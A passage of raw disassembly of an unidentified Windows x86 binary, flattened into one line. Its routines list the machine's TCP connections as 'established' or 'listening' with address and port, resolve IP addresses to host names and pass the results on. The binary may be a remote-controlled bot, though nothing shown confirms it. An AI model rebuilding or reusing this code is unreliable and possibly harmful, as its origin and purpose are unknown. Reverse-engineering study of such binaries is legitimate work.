ecx, esi push edx call sub_40205E sub_418940 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D94 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D90 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D84 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D84 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D80 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call near ptr 77C47A90h nop add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj call near ptr 27E08A6h nop push eax nop call near ptr 77C371BCh pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60B5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E6C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE6C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov ebx, dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E6C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr [esi], 0 jz short loc_419AB2 push edi push esi call ebx 